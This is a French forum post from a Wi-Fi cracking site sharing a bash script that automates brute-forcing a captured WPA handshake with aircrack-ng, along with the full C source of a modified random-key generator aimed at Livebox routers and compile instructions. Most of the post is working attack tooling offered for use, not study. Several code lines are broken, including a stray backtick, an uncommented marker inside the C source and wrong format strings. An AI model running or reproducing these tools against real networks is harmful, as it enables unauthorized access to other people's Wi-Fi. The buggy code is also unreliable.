Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 27-02-2015 07:48:09

romeoandjuliet
Membre Actif
Inscription : 23-02-2015
Messages : 25

[BASH] Automatisation de aircrack : automator.sh

Salut à tous ! Aujourd'hui jvous propose un script permettant l'automatisation d'aircrack-ng en mode brute force, grace nottamment au programme liveboxgenerator (et ca marche pas que pour les livebox) de Spdbz1.
Le script a été relu et amélioré grandement par kcdtv !

Voici donc : automator.sh

for i in `seq 1 1000000``
   do
	./liveboxgenerator 1000000 password$i.lst   # Longeur_de_la_clé_eg:10  -> Ajoutez la longueur de la clé si vous utilisez ma version modifiée (cf si dessous du liveboxgenerator
	aircrack-ng /path/to/handshake -e ESSID -w password$i.lst >> log.txt
	if grep "KEY FOUND" log.txt # grep retourne 1 si la clé est présente
	   then
		grep "KEY FOUND" log.txt > KEY_FOUND # On sauve la clé
		while true  # boucle infinie
		do
		paplay /usr:share/sounds/votresonprefere --volume = 60000 #  joue votre son jusqua ce que vous interveniez... Volume max = 65535
		done
	fi
done

Voila voila ! Vous n'avez qu'a le lancer et attendre qu'il sonne big_smile
Explications :
Dans une boucle quasi infinie, le script génère un dico de 1000000 (un million pour les fainéants qui ont pas lu) de clés aléatoires héxadecimales.
Pourquoi un million ? Car sur la version originale du livebox generator, ca plantait au dela de 2G de clés (probleme sur le fpritnf ou le long je crois) et que sur mon systeme la generation prend 10 secondes, et aircrack met une demi heure a les tester.
Ensuite on lance aircrack sur le dico ainsi crée : passwors$i.lst. Le '$i' permet de numeroter les dicos si ca vous amuse de les garder wink et donc d'eviter les doublons et les bugs, et on envoie la sortie de aircrack dans un fichier de log (donc vous ne verrez pas d'affichage a l'écran)
Pourquoi faire ca ? Cela nous permet, a chaque fois que les clés d'un dictionnaire sont épuisées(et donc la le benefice d'utiliser des dicos pas trop gros) ou que aircrack a trouvé la clé, de parcourir le fichier de log  à la recherche du "KEY FOUND! : ..." que aircrack affiche s'il a réussi. Cela se fait grace au grep.
SI grep trouve l'occurence de "KEY FOUND", alors il retourne un booléen (true = 1) donc la condition if se réalise, on ecrit la clé dans un fichier a part grace a grep une fois de plus mais cette fois ci redirigé vers un fichier.
Puis paplay lit le fichier de son que vous avez choisi (pour moi sur kali : /usr/share/sounds/freedesktop/stereo/alarm-completed-jesaisplus.oga) en boucle, ainsi ca continue de sonner meme si vous etes plus a la maison ou que vous dormez big_smile
Petit CTRL+C pour sortir (pas d'inquietude la clé est déja sauvée en double : dans le log et dans 'KEY_FOUND')


Je me permets  de poster le code de Spdbz1 et de le modifier un peu (les modifs sont commentées)

/*
* Liveboxgenerator is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
*
* Liveboxgenerator is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of 
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with Foobar. If not, see http://www.gnu.org/licenses/.
* 
* Autheur: Spzdb1
*/
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
 
 
 void help(char name[]) {
	printf("Usage:%s <nombre de clefs a générer> <fichier>\n\n", name);
	printf("Exemple: Génération de 10 millions de clefs aléatoire dans le fichier liveboxwpa\n");
	printf("%s 10000000 liveboxwpa\n", name);
 }
 
 
 int main(int argc, char * argv[])
{
	double nb; !!!MODIFICATION!!! double et pas long
	int size; //Longueur des clef, adaptable !!!MODIFICATION!!!
	double i, z; //pour deux boucles lors de la génération des clefs !!!MODIFICATION!!! double et pas int
	int octet = 0;
	
	FILE *PF1;
	
	//Test des arguments, 2 obligatoires
	if(argc != 4) {                                    // MODIFICATION Le 4eme argument pour la taille de la clé pour plus de flex
		help(argv[0]);
		return 1;
	}
	
	//Conversion en long et verificaton 
	nb = atol(argv[1]);
	if(nb == 0) {
		printf("Merci d'entrer un nombre valide!\n");
		help(argv[0]);
		return 1;
	}

       size = atol(argv[3]); // !!!MODIFICATION!!! Ajout du 4eme argument
	if(nb == 0) {
		printf("Merci d'entrer un nombre valide!\n");
		help(argv[0]);
		return 1;
	}
	
	//Creation du fichier... ou non
	PF1 = fopen(argv[2], "w");
	if (PF1 == NULL) {
		printf("Impossible de créer le fichier %s\n", argv[2]);
		return 1;
	}
	
	
	printf("Génération de %d clef WPA pour Livebox\n", nb);
	
	
	/*
	Génération des clefs WPA, les boucles partent de 1 pour simplifier 
	et on affiche le compteur tous les 100.000 clefs crées
	On pourait optimiser les I/O ici: mettre 10000 clefs dans un buffer et l'écrire dans le fichier dès qu'il est plein
	*/
	srand(time(NULL));
	
	for(z = 1; z <= nb; z++) {
		for (i = 1; i <= size; i++) {
			octet = rand() % 256;
			fprintf(PF1,"%02X", octet); //Affichage en hexadecimal
		}
		if(z % 100000 == 0) {
			printf("%l clef générées\n", z); // !!!MODIFICATION!!! %l et pas %d
		}
		fprintf(PF1,"\n");
	}
	
	fclose(PF1);
	
	return 0;
}

Placez vous au meme endroit que le fichier et compilez:

macbook-de-jk:lvgenerator jk$ gcc liveboxgenerator.c -o liveboxgenerator
macbook-de-jk:lvgenerator jk$

Dedoublonage du fichier:

macbook-de-jk:lvgenerator jk$ cat wpa | uniq > uniqwpa.txt
macbook-de-jk:lvgenerator jk$ count --lines uniqwpa.txt
   lines
 10000000 uniqwpa.txt

Et hop on peut modifier la taille des clés a génerer et les minis erreurs soulignées dans le thread original ont été corigées je crois, et vous pouvez maintenant généerer un nombre infini (presque) de clés.
CEPENDANT si votre fprintf déconne et refuse d'ecrire au dela d'une certaine taille de fichier voici une solution :
Verifiez la taille max et min du systeme :

# include<stdio.h>
# include <sys/resource.h>

int main()
{
struct rlimit limitbuf;
getrlimit(RLIMIT_FSIZE, &limitbuf);
fprintf(stderr, "Minimum Limit in bytes: %d\n", limitbuf.rlim_cur);
fprintf(stderr, "Maximum Limit in bytes: %d\n", limitbuf.rlim_max);
return 0;
}

Et debloquez la avec ulimit -a


J'ai piqué les explications du topic original que vous pouvez trouver la :
http://www.crack-wifi.com/forum/topic-3 … rator.html

Pour mon post original vous pouvez le trouver ici :
http://www.crack-wifi.com/forum/topic-1 … -cles.html



Remerciements à kdctv et Sdpbz1

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
aircrack-ng par baltigor
2 98 30-11-2016 20:46:48 par koala
106 2110 28-11-2016 19:42:10 par koala
Aircrack Clé WPA incorrect !!! par Youbix  [ 1 2 ]
25 847 12-08-2016 11:53:18 par Seska
Failed Aircrack-ng par regard48  [ 1 2 ]
30 1038 13-07-2016 20:42:42 par Fab955
19 956 11-07-2016 17:52:50 par kcdtv

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.021 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]